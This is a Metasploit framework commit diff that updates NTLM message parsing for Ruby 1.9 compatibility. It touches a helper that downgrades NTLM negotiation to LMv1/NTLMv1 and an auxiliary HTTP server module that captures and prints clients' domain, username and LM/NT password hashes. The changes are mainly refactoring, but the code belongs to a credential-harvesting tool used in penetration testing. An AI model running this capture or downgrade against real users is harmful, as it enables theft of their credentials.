compatibility for 1.9. fixes #2143
git-svn-id: file:///home/svn/framework3/trunk@9622 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
73c680eeff
commit
96cd7bddae
|
@ -347,26 +347,74 @@ CONST = Rex::Proto::SMB::Constants
|
|||
#
|
||||
# Process Type 3 NTLM Message (in Base64)
|
||||
#
|
||||
# from http://www.innovation.ch/personal/ronald/ntlm.html
|
||||
#
|
||||
# struct {
|
||||
# byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0'
|
||||
# byte type; // 0x03
|
||||
# byte zero[3];
|
||||
#
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_off; // LanManager response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_off; // NT response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short dom_len; // domain string length
|
||||
# short dom_len; // domain string length
|
||||
# short dom_off; // domain string offset (always 0x40)
|
||||
# byte zero[2];
|
||||
#
|
||||
# short user_len; // username string length
|
||||
# short user_len; // username string length
|
||||
# short user_off; // username string offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short host_len; // host string length
|
||||
# short host_len; // host string length
|
||||
# short host_off; // host string offset
|
||||
# byte zero[6];
|
||||
#
|
||||
# short msg_len; // message length
|
||||
# byte zero[2];
|
||||
#
|
||||
# short flags; // 0x8201
|
||||
# byte zero[2];
|
||||
#
|
||||
# byte dom[*]; // domain string (unicode UTF-16LE)
|
||||
# byte user[*]; // username string (unicode UTF-16LE)
|
||||
# byte host[*]; // host string (unicode UTF-16LE)
|
||||
# byte lm_resp[*]; // LanManager response
|
||||
# byte nt_resp[*]; // NT response
|
||||
# } type_3_message
|
||||
#
|
||||
def self.process_type3_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
type = decode[8]
|
||||
type = decode[8,1].unpack("C").first
|
||||
if (type == 3)
|
||||
domoff = decode[32] # domain offset
|
||||
domlen = decode[28] # domain length
|
||||
useroff = decode[40] # username offset
|
||||
userlen = decode[36] # username length
|
||||
hostoff = decode[48] # hostname offset
|
||||
hostlen = decode[44] # hostname length
|
||||
lmoff = decode[16] # LM hash offset
|
||||
lmlen = decode[12] # LM hash length
|
||||
ntoff = decode[24] # NT hash offset
|
||||
ntlen = decode[20] # NT hash length
|
||||
lm_len = decode[12,2].unpack("v").first
|
||||
lm_offset = decode[16,2].unpack("v").first
|
||||
lm = decode[lm_offset, lm_len].unpack("H*").first
|
||||
|
||||
domain = decode[domoff..domoff+domlen-1]
|
||||
user = decode[useroff..useroff+userlen-1]
|
||||
host = decode[hostoff..hostoff+hostlen-1]
|
||||
lm = decode[lmoff..lmoff+lmlen-1].unpack("H*")
|
||||
nt = decode[ntoff..ntoff+ntlen-1].unpack("H*")
|
||||
nt_len = decode[20,2].unpack("v").first
|
||||
nt_offset = decode[24,2].unpack("v").first
|
||||
nt = decode[nt_offset, nt_len].unpack("H*").first
|
||||
|
||||
dom_len = decode[28,2].unpack("v").first
|
||||
dom_offset = decode[32,2].unpack("v").first
|
||||
domain = decode[dom_offset, dom_len]
|
||||
|
||||
user_len = decode[36,2].unpack("v").first
|
||||
user_offset = decode[40,2].unpack("v").first
|
||||
user = decode[user_offset, user_len]
|
||||
|
||||
host_len = decode[44,2].unpack("v").first
|
||||
host_offset = decode[48,2].unpack("v").first
|
||||
host = decode[host_offset, host_len]
|
||||
|
||||
return domain, user, host, lm, nt
|
||||
else
|
||||
|
@ -470,12 +518,12 @@ CONST = Rex::Proto::SMB::Constants
|
|||
def self.downgrade_type_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
|
||||
type = decode[8]
|
||||
type = decode[8,1].unpack("C").first
|
||||
|
||||
if (type > 0 and type < 4)
|
||||
reqflags = decode[12..15] if (type == 1 or type == 3)
|
||||
reqflags = decode[20..23] if (type == 2)
|
||||
reqflags = Integer("0x" + reqflags.unpack("h8").to_s.reverse)
|
||||
reqflags = reqflags.unpack("V")
|
||||
|
||||
# Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation
|
||||
# down to LMv1/NTLMv1.
|
||||
|
@ -497,9 +545,9 @@ CONST = Rex::Proto::SMB::Constants
|
|||
idx = 0
|
||||
0.upto(3) do |cnt|
|
||||
if (type == 2)
|
||||
decode[23-cnt] = Integer("0x" + flags[idx .. idx + 1])
|
||||
decode[23-cnt] = [flags[idx,1]].pack("C")
|
||||
else
|
||||
decode[15-cnt] = Integer("0x" + flags[idx .. idx + 1])
|
||||
decode[15-cnt] = [flags[idx,1]].pack("C")
|
||||
end
|
||||
idx += 2
|
||||
end
|
||||
|
|
|
@ -71,13 +71,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when self.get_resource
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
if(!request.headers['Authorization'])
|
||||
response = create_response(401)
|
||||
response = create_response(401, "Unauthorized")
|
||||
response.headers['WWW-Authenticate'] = "NTLM"
|
||||
cli.send_response(response)
|
||||
else
|
||||
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
||||
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
||||
if(method != "NTLM")
|
||||
print_status("Unrecognized Authorization header, responding with 404")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
|
@ -86,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cli.send_response(response)
|
||||
end
|
||||
else
|
||||
print_status("Responding with 404")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
|
@ -99,9 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#authorization string is base64 encoded message
|
||||
message = Rex::Text.decode_base64(hash)
|
||||
|
||||
if(message[8] == 0x01)
|
||||
reqflags = message[12..15]
|
||||
reqflags = Integer("0x" + reqflags.unpack("h8").to_s.reverse)
|
||||
if(message[8,1] == "\x01")
|
||||
domain = datastore['DOMAIN']
|
||||
server = datastore['SERVER']
|
||||
dnsname = datastore['DNSNAME']
|
||||
|
@ -117,13 +117,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
response = create_response(401)
|
||||
response = create_response(401, "Unauthorized")
|
||||
chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
|
||||
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
|
||||
return response
|
||||
|
||||
#if the message is a type 3 message, then we have our creds
|
||||
elsif(message[8] == 0x03)
|
||||
elsif(message[8,1] == "\x03")
|
||||
domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash)
|
||||
print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}")
|
||||
|
||||
|
@ -170,8 +170,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
domain = nil
|
||||
workstation = nil
|
||||
|
||||
reqflags = message[12..15]
|
||||
reqflags = Integer("0x" + reqflags.unpack("h8").to_s.reverse)
|
||||
reqflags = message[12,4]
|
||||
reqflags = reqflags.unpack("V").first
|
||||
|
||||
if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN)
|
||||
dom_len = message[16,2].unpack('v')[0].to_i
|
||||
|
|
Loading…
Reference in New Issue